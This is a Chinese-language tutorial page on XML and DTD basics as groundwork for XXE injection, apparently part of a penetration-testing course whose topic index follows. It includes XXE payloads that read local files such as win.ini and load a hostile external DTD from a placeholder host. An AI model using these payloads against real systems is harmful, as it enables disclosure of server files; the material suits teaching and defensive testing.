[TOC]
XXE(XML External Entity Injection) 全称为 XML 外部实体注入
如果使用的php中libxml低于2.9.1,或设置了`libxml_disable_entity_loader(FALSE)`,就会造成XXE漏洞
**学习参考地址:** https://xz.aliyun.com/t/3357
## XML和DTD知识
XML文档结构
* XML文档必须有一个根元素
* XML元素都必须有一个关闭标签
* XML标签对大小写敏感
* XML元素必须被正确的嵌套
* XML属性值必须加引号
### XML基础知识
略
### XML外部实体
1. 什么是XML外部实体?
两个采用不同技术栈的系统可以通过XML进行通信和交换数据。
在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。
外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。
2. 什么是XML外部实体攻击?
在处理外部实体时,可以针对应用程序启动许多攻击。
这些攻击包括泄露本地系统文件,或利用各种方案的网络访问功能来操纵内部应用程序。
通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断。
## DTD基础知识
DTD(Document Type Definition)即文档类型定义,用来为 XML 文档定义语义约束。
可以嵌入在 XML 文档中(内部声明),也可以独立的放在一个文件中(外部引用)。
参考链接: http://www.w3school.com.cn/dtd/index.asp
DTD引用方式(简要了解):
```xml
#1. DTD 内部声明
<!DOCTYPE 根元素 [元素声明] >
#2. DTD 外部引用
<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI" >
#3. 引用公共DTD
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI" >
```
### 内部实体和外部实体
实体分为两种,内部实体和外部实体。
* 内部实体语法和示例:
```xml
# 内部实体定义语法
<!ENTITY 实体名称 "实体的值">
#示例
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "www.baidu.com" >
]>
<foo>&xxe;</foo> //调用
```
* 外部实体语法和示例:
外部实体需要加SYSTEM关键字
```xml
# 外部实体定义语法
<!ENTITY 实体名称 SYSTEM "URI/URL">
#示例
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >
]>
<foo>&xxe;</foo> //调用
```
### 通用实体和参数实体
实体也可以分成通用实体和参数实体
1. 通用实体
在DTD中定义,在XML文档中用&引用
示例代码:
```xml
<!DOCTYPE updateProfile [
<!ENTITY file SYSTEM "file:///c:/windows/win.ini">
]>
<updateProfile>
...
<lastname>&file;</lastname>
...
</updateProfile>
```
2. 参数实体:
* 参数实体只能在DTD中定义和引用
* 用`% 实体名`定义,用`% 实体名;`引用
* 参数实体的声明可以引用其他实体
* 参数实体也可以外部引用
语法和示例代码:
```xml
#语法
<!ENTITY % 实体名称 "实体的值">
<!ENTITY % 实体名称 SYSTEM "URI">
#示例
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://x.x.x.x:81/evils.dtd" > //定义参数实体并引用其他实体
%xxe; //引用参数实体,可调出url中的dtd的内容
]>
<foo>&evil;</foo> //引用参数实体url中dtd内的实体
#外部实体evil中的内容。
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
```
参数实体在我们 Blind XXE 中起到了至关重要的作用
- src导航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查询
- 备案信息查询
- 信用信息查询
- IP反查站点的站
- 浏览器插件
- 收集子域名信息
- 在线平台
- 工具枚举
- ssl与证书透明度
- DNS历史解析
- DNS域传送漏洞
- C段探测
- JS文件域名&ip探测
- 搜索引擎&情报社区
- google黑客
- 威胁情报
- 钟馗之眼
- 收集相关应用信息
- 微信公众号&微博
- APP收集&反编译
- 收集常用端口信息
- 常见端口&解析&总结
- 扫描工具
- 网络空间引擎搜索
- 浏览器插件
- nmap扫描
- 收集敏感信息
- 源码泄露
- 邮箱信息收集
- 备份文件泄露
- 目录&后台扫描
- 公网网盘
- 历史资产
- 指纹&WAF&CDN识别
- 指纹识别
- CDN识别
- 绕过CDN查找真实IP
- WAF识别
- 漏洞资源和社工
- 漏洞公共资源库
- 社会工程
- 资产梳理
- 各种对渗透有帮助的平台
- 扫描器
- 扫描器对比
- AppScan(IBM)_web和系统
- AWVS_web扫描
- X-Scan_系统扫描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_绿盟_web
- 安恒明鉴
- Nessus_系统
- nexpose_系统
- 启明天镜_web_系统
- SQL注入
- 常用函数
- sql注入步骤
- union注入和information_schema库
- 函数和报错注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解决方案
- Access数据库注入
- MSSQL数据库注入
- MYSQL数据库注入
- 神器SQLmap
- xss跨站脚本攻击
- xss原理和分类
- xss案例和修复
- xss绕过技巧
- xss案例
- 文件上传下载包含
- 常有用文件路径
- 文件上传漏洞
- 文件下载漏洞
- 文件包含漏洞
- upload-labs上传漏洞练习
- XXE、SSRF、CSRF
- SSRF原理基础
- SSRF案例实战
- CSRF原理基础
- CSRF案例及防范
- XXE之XML_DTD基础
- XXE之payload与修复
- XXE结合SSRF
- 远程命令执行与反序列化
- 远程命令和代码执行漏洞
- 反序列化漏洞
- 验证码与暴力破解
- 爆破与验证码原理
- CS架构暴力破解
- BS架构暴力破解
- WEB编辑器漏洞
- 编辑器漏洞基础
- Ewebeditor编辑器
- FCKeditor编辑器
- 其他编辑器
- web中间件漏洞
- 中间件解析漏洞
- Tomcat常见的漏洞总结
- Jboss漏洞利用总结
- Weblogic漏洞利用总结
- WEB具体步骤
- 旁注和越权
- CDN绕过
- 越权与逻辑漏洞
- WEB应用常见其他漏洞
- WEB登陆页面渗透思路
- 获取WEBshell思路
- 社工、钓鱼、apt
- 社工和信息收集
- 域名欺骗
- 钓鱼邮件
- 一些钓鱼用的挂马工具
- 代码审计
- 代码审计工具
- WAF绕过
- WAF基础及云WAF
- 各种WAF绕过方法
- 绕过WAF上传文件
- 系统提权
- windows系统提权
- linux系统提权
- 数据库提权操作系统
- 内网横向渗透
- 内网穿透方式
- 一些内网第三方应用提权
- ARP与DOS
- ARP欺骗
- DOS与DDOS
- 一些DOS工具